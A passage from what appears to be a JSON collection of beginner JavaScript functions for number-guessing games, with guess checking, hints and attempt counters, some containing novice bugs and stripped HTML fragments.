'popup-text',\\n 'The number was' +\\n ' ' +\\n generatedNumber +\\n '.'\\n );\\n return;\\n }\\n // to display the number of chances left\\n displayInnerHtml(\\n 'chance-alert',\\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\\n );\\n displayInnerHtml(\\n 'alert-text',\\n 'UH OH!!! Enter a value higher than' + ' ' + userInput\\n );\\n // to return the textinput value to emptyfield\\n clearValue();\\n \\n } else {\\n numberOfTry -= 1;\\n if (numberOfTry === 0) {\\n textBlink();\\n displayInnerHtml(\\n 'alert-text',\\n 'The number was' +\\n ' ' +\\n generatedNumber +\\n '.'\\n );\\n return;\\n }\\n displayInnerHtml(\\n 'chance-alert',\\n 'You have' + ' ' + numberOfTry + ' ' + 'chances left'\\n );\\n displayInnerHtml(\\n 'alert-text',\\n 'UH OH!!! Enter a value lower than' + ' ' + userInput\\n );\\n // to return the textinput value to emptyfield\\n clearValue();\\n \\n }\\n}\",\n \"function checkNumber() {\\n let userGuess = Number(guessField.value);\\n //let inputType = typeof userGuess garaas oruulsan utga too esehiig shalganaa\\n\\n let l1, l2, l3, l4;\\n l1 = (userGuess - (userGuess % 1000)) / 1000;\\n l2 = ((userGuess % 1000) - (userGuess % 100)) / 100;\\n l3 = ((userGuess % 100) - (userGuess % 10)) / 10;\\n l4 = userGuess % 10;\\n\\n let a = 0,\\n b = 0;\\n if (random_1 == l1) a++;\\n if (random_2 == l2) a++;\\n if (random_3 == l3) a++;\\n if (random_4 == l4) a++;\\n\\n if (l1 == random_2 || l1 == random_3 || l1 == random_4) b++;\\n if (l2 == random_1 || l2 == random_3 || l2 == random_4) b++;\\n if (l3 == random_2 || l3 == random_1 || l3 == random_4) b++;\\n if (l4 == random_2 || l4 == random_3 || l4 == random_1) b++;\\n\\n status = document.createElement(\\\"p\\\");\\n status.setAttribute(\\\"id\\\", \\\"p1\\\");\\n status.textContent =\\n l1 +\\n \\\" \\\" +\\n l2 +\\n \\\" \\\" +\\n l3 +\\n \\\" \\\" +\\n l4 +\\n \\\" | a = \\\" +\\n a +\\n \\\" \\\" +\\n \\\"b = \\\" +\\n b +\\n \\\" \\\";\\n resultDiv.append(status);\\n\\n guessField.value = \\\"\\\";\\n guessField.focus();\\n\\n if (a == 4) {\\n game = document.createElement(\\\"label\\\");\\n game.textContent = \\\"You won!!!\\\";\\n game.style.backgroundColor = \\\"green\\\";\\n resultDiv.append(game);\\n setGameOver();\\n }\\n}\",\n \"function provideHint(){\\n\\tvar randNum1 = Math.ceil(Math.random() * 100);\\n var randNum2 = Math.ceil(Math.random() * 100);\\n var hintArray = [randNum1, randNum2, winningNumber].sort(function() { return .5 - Math.random(); });\\n $('.hintMessage').text(\\\"Try one of these: [\\\" + hintArray.join(', ') + \\\"]\\\");\\n}\",\n \"function numberguess() {\\n x = Math.floor(Math.random() * 10) + 1; // returns a number between 1 and 10\\n userResponse = prompt('Enter a Number between 1 and 10')\\n\\n if (x === userResponse) {\\n alert('You guessed Correct')\\n }\\n else {\\n alert('You guessed Wrong')\\n }\\n alert('Random Number was ' + x)\\n\\n}\",\n \"function getRandomCompared() {\\n let userNumber = parseInt(input.value);\\n if (randomNumberSelected === userNumber) {\\n printResult(result, 'You win!! 🎉');\\n } else if (userNumber > 100) {\\n printResult(result, 'Can\\\\'t be bigger than 100');\\n } else if (userNumber < 0) {\\n printResult(result, 'Can\\\\'t be smaller than 0');\\n } else if (randomNumberSelected < userNumber) {\\n printResult(result, 'Too hight 🌡, try again');\\n add1Counter();\\n } else if (randomNumberSelected > userNumber) {\\n printResult(result, 'Too short ☃, try again');\\n add1Counter();\\n } else {\\n printResult(result, 'Please, enter a valid number');\\n }\\n}\",\n \"function checkGuess(){\\n\\tif(playersGuess === winningNumber){\\n //$('#result').text(\\\"winner winner chicken dinner!\\\");\\n return winner();\\n }\\n else {\\n if(guesses.indexOf(playersGuess) === -1){\\n guesses.push(playersGuess);\\n guessMessage();\\n }\\n else{\\n $('#result').text(\\\"Be more creative with your choices...\\\")\\n } \\n }\\n}\",\n \"function guess(numberGenerated, totalGuess, max) {\\n const numberGuessed = readline.question(`Guess the number: `);\\n if(numberGuessed < 0 || numberGuessed > max) {\\n console.log(`\\\\nplease guess the number between 0 and ${max}`);\\n guess(numberGenerated, totalGuess, max);\\n }\\n if(numberGenerated == numberGuessed) {\\n totalGuess++;\\n console.log(`\\n Booyah....! You guessed correctly..\\n Number generated is : ${numberGenerated}\\n Your guess is: ${numberGuessed}\\n chances you took : ${totalGuess}\\n `);\\n process.exit();\\n } else {\\n console.log(`Oops..! Your guess is wrong..!\\\\n`);\\n totalGuess++;\\n guess(numberGenerated, totalGuess, max);\\n }\\n}\",\n \"function game(param1, param2) {\\n if (param1 - Math.floor(param1) !== 0 || param2 - Math.floor(param2) !== 0)\\n return;\\n var random = Math.floor(Math.random() * (param2 - param1 + 1) + param1);\\n var userAnswer = +prompt(\\\"Enter number\\\");\\n while (random !== userAnswer) {\\n console.log('Try again!');\\n userAnswer = +prompt(\\\"Enter number\\\");\\n }\\n console.log('Gratz!');\\n}\",\n \"function guesses() {\\n \\t\\tuserGuess = parseInt($(\\\"#guess\\\").val());\\n\\n\\t \\tif (userGuess < randomNumber) {\\n\\t\\t\\t$(\\\".message\\\").text(\\\"Your guess is too low\\\");\\n\\n\\t\\t} else if (userGuess > randomNumber){\\n\\t\\t\\t$(\\\".message\\\").text(\\\"Your guess is too high\\\");\\n\\n\\t\\t} else if (userGuess === randomNumber){\\n\\t\\t\\t$(\\\".message\\\").text(\\\"You guessed correctly!\\\");\\n\\t\\t\\t$(\\\".message\\\").attr(\\\"class\\\", \\\"success\\\");\\n\\t\\t} \\n\\t}\",\n \"function game() { \\n const playerguess = document.getElementById(\\\"guess\\\").value;\\n\\n if (playerguess == luckynumber)\\n {alert(\\\"omg you ARE the lucky winner, treat yourself to a drink in our newly renovated drinkroom!!\\\");\\n }\\n else if (playerguess == (luckynumber + 1))\\n {alert(\\\"close, but yet so far!\\\");\\n }\\n else if (playerguess == (luckynumber - 1))\\n {alert(\\\"close, but yet so far!\\\");\\n }\\n else \\n {alert(\\\"you couldnt be more wrong! Maybe more luck next time\\\");}\\n }\",\n \"function guessingGame() {\\n var guessString = prompt(\\\"Please guess a number 1 through 5\\\");\\n var guessNum = parseInt(guessString);\\n var randomNum = Math.floor(Math.random() * 6);\\n while (guessNum != randomNum) {\\n if (guessNum < randomNum) {\\n guessNum = prompt(\\\"Nope! Too low! Please guess another number.\\\");\\n }\\n else {\\n guessNum = prompt(\\\"Nope! Too high! Please guess another number.\\\");\\n }\\n };\\n\\n alert(\\\"You're amazing! The number was \\\" + randomNum);\\n }\",\n \"function againBtn() {\\n\\n document.querySelector('.guess').value = '';\\n \\n number = Math.trunc(Math.random() * 20 ) + 1; \\n\\n score = 20; \\n\\n displayMessage(\\\"Start guessing...\\\");\\n\\n UIscore(score); \\n\\n bgColor(\\\"#222\\\");\\n\\n document.querySelector('.number').textContent = \\\"?\\\";\\n}\",\n \"function numberGuessGame() {\\n\\t\\n//when they click the button it starts the function and creates a message that alerts the user as to what to do. It then allows the user to enter their guess. \\n\\tlet message =\\n \\\"I'm thinking of a number between 1 and 100.\\\\n\\\" +\\n \\\"Try to guess it!\\\\n\\\" +\\n \\\"Please enter an integer between 1 and 100.\\\";\\n//uses the JS math function to create a random number for the user to guess \\n\\tlet answer = 38;\\n\\t//grabs their \\\"guess\\\" and creates a variable from it\\n let guess;\\n\\t//counter variable that will count the attempts. \\n\\t\\tlet counter = 0;\\n//post test loop which will go through until number is guessed. Will add up and end as soon as user guesses number. \\n do {\\n\\t\\t\\t\\tcounter ++;\\n guess = parseInt(prompt(message));\\n\\t\\t\\t\\n if (guess < answer) {\\n message = guess +\\n \\\" is too low. Please enter another number.\\\";\\n }\\n else if (guess > answer) {\\n message = guess +\\n \\\" is too high. Please enter another number.\\\";\\n }\\n } while (guess != answer);\\n\\t\\n\\t\\t//Updates the message once the user has guessed the number.\\n message = guess + \\\" is correct! It only took you \\\" + counter + \\\" attempts to guess it! Great job!\\\";\\n \\n\\t//Displays the message.\\n\\tdocument.getElementById('answer').innerHTML = message;\\n\\t\\n}\",\n \"function newGame() {\\n inputValue.value = \\\"\\\";\\n btnGuess.disabled=false;\\n randomNumber = Math.floor(Math.random() * 100 + 1);\\n count = 0;\\n noOfTry.textContent = \\\"tries:\\\" + count;\\n chance.innerHTML = \\\"Number of chances: 5\\\"; \\n triesLeft=5;\\n msg[0].textContent=\\\"Guess a number between 1 and 100\\\";\\n}\",\n \"function guessingGame(){\\n\\nvar randomNumber = Math.floor(Math.random() * 10) + 1;\\n//console.log(randomNumber);\\nvar guess = prompt('guess a number between 1 and 10!');\\nconsole.log(guess);\\nif(guess=null){\\n\\treturn\\n}\\n\\nwhile(randomNumber !=guess){\\n\\tif(randomNumber > guess){\\n\\t\\talert('your guess is too low');\\n\\t\\t} else{\\n\\t\\t\\talert('your guess is too high')\\n\\t\\t}\\n\\t guess = prompt('Guess a number between 1 and 10!');\\n}\\nreturn alert('you are right!')}\",\n \"function provideHint(){\\n\\tfunction randomNumHintGen(){ //create random number each time function is called\\n\\t\\treturn Math.floor(Math.random() * (100 - 1) + 1);\\n\\t}\\n\\tvar hintArray = [winningNumber];\\n\\tif (numGuesses === 1) { // one guess\\n\\t\\tfor (var i = 0; i < 7; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 2) { // two guesses\\n\\t\\tfor (var i = 0; i < 5; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 3) { // three guesses\\n\\t\\tfor (var i = 0; i < 3; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 4) { // four guesses\\n\\t\\tfor (var i = 0; i < 1; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t}\\n\\treturn hintArray;\\n}\",\n \"function randomNumberGame(){\\n var random = Math.floor((Math.random() * 20) + 1);\\n console.log('random number:', random); //this will print out the random number\\n var number; //this is the user input\\n var attempts = 0; //this will allow me to limit total attempts\\n //Then use a 'while' loop to compare user input to the random number and generate a response accordingly.\\n while (number !== random && attempts < 4) {\\n number = parseInt(prompt('How many cups of coffee do I drink each day?'));\\n console.log('user guess:', number);\\n attempts ++; //counts attempts for each answer given in loop\\n\\n if (number < random) {\\n alert('That\\\\'s not enough!');\\n counter ++;\\n } else if (number > random) {\\n alert('I like my coffee, but that\\\\'s too much');\\n counter ++;\\n } else if (isNaN(number)) {\\n alert('Please give a real number');\\n counter ++;\\n } else if (number === random) {\\n alert('You got it! Best part of waking up...');\\n correct ++;\\n counter ++;\\n } if (attempts === 4) {\\n alert('sorry, out of tries');\\n }\\n }\\n}\",\n \"function checkGuess() {\\n event.preventDefault();\\n\\n var guessInput = document.getElementById( 'formInput' );\\n var guessInputValue = formInput.value;\\n\\n var parsed = parseInt(guessInputValue);\\n var verified = verifyInput( guessInputValue, minInput, maxInput );\\n\\n if ( verified === true ) {\\n hideElement(errorMessageDisplay);\\n \\n showElement(lastGuessText);\\n changeText(lastGuessText, \\\"Your last guess was\\\");\\n\\n showElement(guessDisplay);\\n changeText(guessDisplay, guessInputValue);\\n\\n showElement(resultText);\\n\\n enableButton(resetButton);\\n\\n if ( parsed === solution ) {\\n changeText(resultText, \\\"BOOM!\\\");\\n win();\\n } else if ( parsed > solution ) {\\n changeText(resultText, \\\"That is too high!\\\");\\n } else if ( parsed < solution ) {\\n changeText(resultText, \\\"That is too low\\\");\\n }\\n }\\n}\",\n \"function questionSix(){\\n var randoNum = Math.floor(Math.random() * 10) + 1;\\n var opportunities = 4;\\n var robotVoice = 'Guess a integer from 1 to 10!';\\n\\n /*beggining of while loop checks the condition to see if there are any turns left. */\\n while (opportunities > 0) {\\n /*Lets the user know to guess an integer and how many chances are left.*/\\n var userChoice = prompt(robotVoice + ' You have ' + opportunities + ' try\\\\'s to go.');\\n /*Lets the out of the program if they select cancel.*/\\n if (!userChoice){\\n break;\\n }\\n // /**The Number() function converts the object\\n // argument to a number that represents the object's value. */\\n userChoice = Number(userChoice);\\n console.log('userChoice is ' + userChoice);\\n console.log('Random generator number is ' + randoNum);\\n\\n // /**check condition of input to random number selected */\\n if (userChoice === randoNum) {\\n alert('thats right you guessed the random number way to go!');\\n /**I need help with this part I know I need it I just dont know why. */\\n opportunities = 0;\\n break;\\n } else {\\n /*Notfies user that they were wrong and take the input decides if\\n * it was higher or lower than the random number in the if statements. */\\n robotVoice = 'You were close, but no, try again.';\\n if (userChoice < randoNum){\\n robotVoice += ' Too Low!';\\n }\\n if (userChoice > randoNum) {\\n robotVoice += ' Too High!';\\n }\\n /*This decrements the opportunities each time the user enters a try. */\\n opportunities = opportunities - 1;\\n console.log('guessCount is ' + opportunities);\\n\\n }\\n }\\n /*This line of code sits outside the loop so that if the user cancels or fails\\n * to guess correct, then they are told what the answer is. */\\n alert('The Random number Generator choose ' + randoNum + ' as it\\\\'s number .');\\n\\n}\",\n \"function guessWhat(result) {\\nvar randomGuess = Math.floor(Math.random()*2);\\nif (guessWhat ===0) {\\n$(\\\"#guess-image\\\").html(\\n \\\"GAME OVER!
\\nWinner!
\\\");\\n $(\\\"#wins\\\").html(\\\"\\\" + wins + \\\"
\\\");\\n }\\n else {\\n losses++;\\n $(\\\"#win-lose\\\").html(\\\"Loser!
\\\");\\n $(\\\"#losses\\\").html(\\\"\\\" + losses + \\\"
\\\");\\n }\\n}\",\n \"function guessing_game(guess) // no display\\n {\\n\\n // Get a random integer from 1 to 10 inclusive\\n console.log(\\\"matched or unmatched?\\\");\\n var match, num;\\n\\n //for(var i = 0; i <= 10000; i++)\\n //{\\n num = Math.random() * 100; // Math.random() return a random number between 0 and 1\\n num = Math.ceil(num); // used floor thus getting 1 among 10000 samples\\n num = (num % 10) + 1; // to generate number between 1 and 10\\n console.log(\\\"at i = \\\" + i + \\\", num = \\\" + num);\\n //}\\n\\n if(guess === num)\\n {\\n return(\\\"Good Work\\\");\\n }\\n\\n else\\n {\\n return(\\\"Not matched\\\");\\n }\\n\\n }\",\n \"function guess() {\\n var number = parseInt(document.getElementById(\\\"your-number\\\").value),\\n randomNumber = Math.floor(Math.random() * 10);\\n if (isNaN(number) || number < 1 || number > 10) {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"You Have To Select An Integer Number From 1 To 10\\\"\\n } else {\\n if(number === randomNumber) {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"Good Work\\\"\\n }else {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"Not Matched\\\"\\n }\\n }\\n clear();\\n}\",\n \"function tryGuess() {\\n\\t\\tsocket.cb_push(\\\"guess\\\", guess);\\n\\t\\tsetGuess(\\\"\\\");\\n\\t\\t//if (!util.gameOver(state.recorded, state.secret)) {\\n\\t\\t//\\tlet prev = state.recorded;\\n\\t//\\t\\tprev.push(guess);\\n\\t//\\t\\tsetState({secret: state.secret, warning: \\\"\\\", recorded: prev});\\n\\t//\\t\\tsetGuess(\\\"\\\");\\n\\t//\\t}\\n\\t}\",\n \"function guessNumber(){\\n var randomN = Math.floor(Math.random() * 10) + 1;\\n var usersN = parseInt(document.getElementById(\\\"guessN\\\").value);\\n if(randomN === usersN){\\n alert(\\\"Good Work!\\\");\\n } else {\\n var notM = document.getElementById(\\\"text\\\");\\n notM.innerHTML =\\\"Not matched. Try again!\\\";\\n notM.style.color=\\\"coral\\\";\\n }\\n}\",\n \"function evaluateGuess(){ // Begin evaluateGuess\\n // a) Compare the guess to the current number. If the guess is correct, return true, otherwise return false.\\n if(Number(input.value) == currentNumber )\\n {\\n return true;\\n }\\n else\\n {\\n return false;\\n }\\n} // End of evaluateGuess\",\n \"function guess() {\\n\\n //3. grab the value from the user\\n let userNum = document.getElementById(\\\"guessNumber\\\").value;\\n //After the user enters a guess, the textbox is cleared. \\n document.getElementById(\\\"guessNumber\\\").value = \\\"\\\";\\n //save the result message\\n let resultMessage = ''\\n\\n //4. compare with the value the comp picked\\n //5. if comp's num > user's num, \\\"too low\\\"\\n if (computerNum > userNum) {\\n resultMessage = 'too low';\\n //6. if comp's num < user's num, \\\"too high\\\"\\n } else if (computerNum < userNum) {\\n resultMessage = 'too high';\\n //7. if comp's num === user's num, \\\"correct\\\"\\n } else if (computerNum == userNum) {\\n\\n document.getElementById(\\\"resultArea\\\").innerHTML = `${userNum} is correct! You win! :)`\\n document.getElementById(\\\"resultArea\\\").classList.add(\\\"alert-success\\\");\\n document.getElementById(\\\"guessButton\\\").disabled = true;\\n\\n timeOut()\\n\\n return;\\n }\\n\\n remainingGuess--;\\n\\n history.push(userNum)\\n\\n\\n //8. show the result to the user\\n document.getElementById(\\\"resultArea\\\").innerHTML = `Result is ${resultMessage}`;\\n document.getElementById(\\\"historyArea\\\").innerHTML = `History of you guess: ${history}`;\\n document.getElementById(\\\"remainGuess\\\").innerHTML = `${remainingGuess}`\\n\\n // 1. make only 5 chance\\n // 3. if user win, or lose the guess button will be disabled\\n if (history.length == 5) {\\n document.getElementById(\\\"guessButton\\\").disabled = true;\\n document.getElementById(\\\"resultArea\\\").innerHTML = `The result is ${computerNum}. You ran out of guess! You lose :(`;\\n alert(\\\"You don't have any guess left\\\");\\n timeOut();\\n }\\n}\",\n \"function checkWinLoss(){\\n\\tif(playerCounter==numToGuess){\\n\\t\\twins++; \\n\\t\\t$(\\\"#wins\\\").html(wins); \\n\\t\\tresetNumbers(); \\n\\t\\tgenerateNumbers(); \\n\\t}else if(playerCounter>numToGuess){\\n\\t\\tlosses++; \\n\\t\\t$(\\\"#losses\\\").html(losses); \\n\\t\\tresetNumbers(); \\n\\t\\tgenerateNumbers(); \\n\\t}\\n}\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"function check_guess(guess) {\\n if (guess < correct_number) {\\n turns += 1\\n return \\\"That is too low\\\"\\n } else if (guess > correct_number) {\\n turns += 1\\n return \\\"That is too high\\\"\\n } else {\\n turns += 1\\n var current_min = $(\\\"#min\\\").val();\\n var current_max = $(\\\"#max\\\").val();\\n $(\\\"#min\\\").val(parseInt(current_min) - 10);\\n $(\\\"#max\\\").val(parseInt(current_max) + 10);\\n // clear guess input field\\n $(\\\"#guess\\\").val(\\\"\\\")\\n // set min-max, pick new number on new range, hide errors and messages and disable unneccessary buttons\\n set_num();\\n $(\\\"#error\\\").html(`That took you ${turns} turns.It just got harder.
Minimum is 10 lower.
Maximum is 10 higher.`);\\n $(\\\"#error\\\").show();\\n // win message\\n return \\\"BOOM!\\\"\\n }\\n}\",\n \"function guessNumber(){\\nvar programNumber = Math.ceil(Math.random() * 10);\\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\\n if (userNumber == programNumber)\\n alert('Matched');\\n else\\n alert('Not matched');\\n}\",\n \"function playGuessGame() {\\r\\n\\r\\n var chance = 0;\\r\\n var numToGuess = generateRandomNum();\\r\\n \\r\\n while (chance < 3) { // given 3 chances\\r\\n \\r\\n chance++;\\r\\n var userGuess = prompt(\\\"Your Guess: \\\"); // taking guess (input) from the user\\r\\n if (userGuess === numToGuess) {\\r\\n console.log(\\\"You're Right. You've Won!!\\\");\\r\\n }\\r\\n else {\\r\\n console.log(\\\"Try Again...\\\");\\r\\n }\\r\\n\\r\\n var playAgain = false;\\r\\n\\r\\n if (chance === 3) {\\r\\n var askUser = prompt(\\\"Do You Want To Play Again? (Yes/No)\\\");\\r\\n askUser = askUser.toLowerCase();\\r\\n \\r\\n if (askUser === \\\"yes\\\") {\\r\\n playAgain = true;\\r\\n chance = 0; // to reset the game\\r\\n }\\r\\n else if (askUser === \\\"no\\\") {\\r\\n playAgain = false;\\r\\n console.log(\\\"Thank You For Playing With Us Today!\\\");\\r\\n }\\r\\n }\\r\\n \\r\\n\\r\\n\\r\\n }\\r\\n\\r\\n}\",\n \"function question6() {\\n var correctNumber = Math.floor(Math.random() * 30);\\n var attempts = 4;\\n while (attempts !== 0){\\n\\n var guessNumber = prompt('Let\\\\'s get serious. Guess a number from 1 to 50:');\\n console.log('User input: ' + guessNumber);\\n\\n if (parseInt(guessNumber)){\\n if (parseInt(guessNumber) === correctNumber){\\n\\n console.log(\\\"True!\\\");\\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\\n correctAns++;\\n break;\\n } \\n else if (parseInt(guessNumber) < correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\\n attempts--;\\n alert(\\\"Wrong...Go higher!\\\" + attempts + \\\" attempts left\\\");\\n \\n } \\n else if (parseInt(guessNumber) > correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\\n attempts--; \\n alert(\\\"Wrong...Go lower!\\\" + attempts + \\\" attempts left\\\");\\n \\n }\\n \\n }\\n else alert('Wrong input! It should be a whole number');\\n }\\n\\n if ((attempts === 0) && (guessNumber !== correctNumber)){\\n\\n alert('You wasted all your attempts...');\\n }\\n}\",\n \"function checkValueToGoal(){\\n if(currentTotalCounter===randomizedChosenGoalNumber){\\n winCounter++;\\n $(\\\"#winCounter\\\").html(winCounter); \\n restartGame();\\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\\n loseCounter++;\\n $(\\\"#loseCounter\\\").html(loseCounter);\\n restartGame();\\n }\\n}\",\n \"function evaluateGuessOne(guess, randomNumber, min, max) {\\n console.log(\\\"minumum number is: \\\" + min);\\n console.log(\\\"max number is: \\\" + max);\\n if(guess < min || guess > max) {\\n console.error(\\\"Number is not in range\\\");\\n highOrLow1.innerText = \\\"Out of range\\\";\\n return alert(`Number must be between ${min} and ${max}`);\\n } else if(isNaN(guess)){\\n console.log(\\\"NOT A NUMBER\\\");\\n displayGuess1.innerText = \\\"--\\\";\\n highOrLow1.innerText = \\\"That's Not a Number...\\\";\\n alert(\\\"Please enter a valid number\\\");\\n } else if(guess < randomNumber) {\\n console.log(\\\"Player 1: guess is to low: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to low\\\";\\n } else if(guess > randomNumber) {\\n console.log(\\\"Player 1: guess it to high: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to high\\\";\\n } else {\\n console.log(\\\"Correct Guess\\\");\\n highOrLow1.innerText = \\\"BOOM!\\\";\\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\\n // winnerName.innerText = challenger1Name.value;\\n alterGamerRange(min, max);\\n console.log(\\\"The new Minimum range is: \\\" + min);\\n console.log(\\\"The new Maximum range is: \\\" + max);\\n }\\n }\",\n \"function compare(){\\n feedback.classList.remove('warning');\\n let num = Number(guessNum.value);\\n let sd = 10;\\n if ( num > random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too high, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too high!\\\"\\n }\\n } else if ( num < random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too low, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too low!\\\"\\n }\\n } else if ( num === random ) {\\n feedback.innerHTML = \\\"Bingo!!!\\\";\\n feedback.classList.add('bingo');\\n again();\\n };\\n}\",\n \"function getHint() {\\n cheating = true;\\n var randomnumber=Math.floor(Math.random()*81);\\n if (puzzleFull()) { alert(\\\"No more hints! Puzzle is full!\\\"); return false;}\\n\\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\\n } else {\\n getHint();\\n }\\n}\",\n \"function guessMyNumber(n) {\\n var upperbound =6;\\n var rightNumber=randInt(upperbound);\\n\\n if (n > upperbound) {\\n return \\\"Out of bounds! Please try a number between 0 and 5.\\\";\\n }\\n \\n else if (n === rightNumber) {\\n return \\\"You guessed my number!\\\";\\n }\\n return \\\"Nope! That wasn't it!\\\" + \\\"correct number: \\\" + rightNumber ;\\n}\",\n \"function checkGuess() {\\r\\n var guess = document.getElementById('guess').value;\\r\\n\\r\\n if (!isNaN(guess)) {\\r\\n var guesses = document.getElementById('output');\\r\\n\\r\\n if (guess === randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed correctly! (\\\" + guess + \\\")\\\";\\r\\n else if (guess > randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too high! (\\\" + guess + \\\")\\\";\\r\\n else guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too low! (\\\" + guess + \\\")\\\";\\r\\n }\\r\\n else alert(\\\"Not an integer, try again.\\\");\\r\\n}\",\n \"function guessField(){\\n // Store the input entered into the text field into a variable \\\"ans\\\" and immediately cast to int\\n var ans = parseInt(document.getElementById(\\\"numberGuess\\\").elements[\\\"number\\\"].value);\\n console.log(\\\"secret: \\\" + secret + \\\"\\\\nyour guess: \\\" + ans);\\n\\n do // Used a do-while, because we always want to this block to execute at least once\\n {\\n console.log(\\\"Entered while loop\\\\nsecret: \\\" + secret + \\\"\\\\nans: \\\" + ans + \\\"\\\\nguessed: \\\" + guessed);\\n\\n if(ans > secret){\\n console.log(\\\"Your guess is too high\\\");\\n write(\\\"result4\\\", ans + \\\" is too high. Guess again\\\");\\n break;\\n } else if (ans < secret){\\n console.log(\\\"Your guess is too low\\\");\\n write(\\\"result4\\\", ans + \\\" is too low. Guess again\\\");\\n break;\\n } else if (ans === secret){\\n console.log(\\\"You guessed it!\\\");\\n write(\\\"result4\\\", \\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n alert(\\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n secret = Math.floor(Math.random() * (MAX+1));\\n console.log(\\\"New secret: \\\" + secret);\\n guessed=true;\\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\\n console.log(\\\"Invalid input. Enter a number\\\");\\n write(\\\"result4\\\", \\\"Invalid input. Please enter a number between 0 and 5\\\");\\n break;\\n }\\n } while(guessed === false);\\n}\",\n \"function provideHint() {\\n var diff = Math.abs(playersGuess - winningNumber);\\n if (diff > 50) {\\n return (\\\" Like whoa. Maybe try a different end of the spectrum.\\\")\\n } else if (diff > 25) {\\n return (\\\" You're a fair ways off.\\\")\\n } else if (diff > 9) {\\n return (\\\" Getting there!\\\")\\n } else {\\n return (\\\" So close!\\\")\\n }\\n }\",\n \"function userWinOrLose() {\\n if (result > randomNum) {\\n losses++;\\n console.log(\\\"user lost\\\");\\n // alert(\\\"You lost! Try again.\\\");\\n initializeGame();\\n }\\n\\n if (result === randomNum) {\\n wins++;\\n console.log(\\\"user won\\\");\\n // alert(\\\"You won! Great job. Best out of 5?\\\");\\n initializeGame();\\n }\\n}\",\n \"function sixthQuestion() {\\n//sixth question\\n var secretNum = 20;\\n console.log('Value of secretNum: ', secretNum);\\n\\n// Evaluate whether the guess is too high or too low and give the user four attempts\\n var attempt = 0;\\n var maxAttempts = 4;\\n while (attempt < maxAttempts) {\\n var guessedNum = prompt('Guess my secret number.');\\n guessedNum = parseInt(guessedNum);\\n console.log('value of guessedNum: ', guessedNum);\\n console.log('type of guessedNum: ', typeof guessedNum);\\n\\n if (guessedNum === secretNum) {\\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\\n attempt = maxAttempts; // exit loop\\n tallyCorrect++;\\n } else if (guessedNum < secretNum) {\\n alert('Too low. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else if (guessedNum > secretNum) {\\n alert('Too high. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else {\\n alert('Rethink that choice.');\\n console.log('Attempt #: ', attempt);\\n }\\n attempt++;\\n }\\n console.log('out of the loop');\\n console.log('count: ' + tallyCorrect);\\n}\",\n \"function generateRandNum() {\\r\\n var guesses = document.getElementById(\\\"output\\\");\\r\\n var clicked = false;\\r\\n\\r\\n document.getElementById('newGame').onclick = function() {\\r\\n clicked = !clicked;\\r\\n };\\r\\n document.getElementById('guess').addEventListener(\\\"keyup\\\", function(event) {\\r\\n event.preventDefault();\\r\\n if (event.keyCode === 13) document.getElementById('check').click();\\r\\n });\\r\\n\\r\\n if (clicked) {\\r\\n if (!confirm('Restart game with new number?')) return;\\r\\n }\\r\\n\\r\\n guesses.value = '';\\r\\n randNum = Math.floor(Math.random()*500);\\r\\n guesses.value = \\\"New number generated.\\\\n\\\"\\r\\n\\r\\n // hide number that has been generated\\r\\n document.getElementById('numToGuess').value = '';\\r\\n document.getElementById('showCheat').style.display = 'none';\\r\\n}\",\n \"function checkFinal(){\\n \\tplayersGuessSubmission(); \\n \\t//check errors\\n \\tif (playersGuess > 100) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"
Remember between 1 - 100!
\\\")\\n\\t\\t}\\n\\t\\telse if (isNaN(playersGuess)) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"Not a number
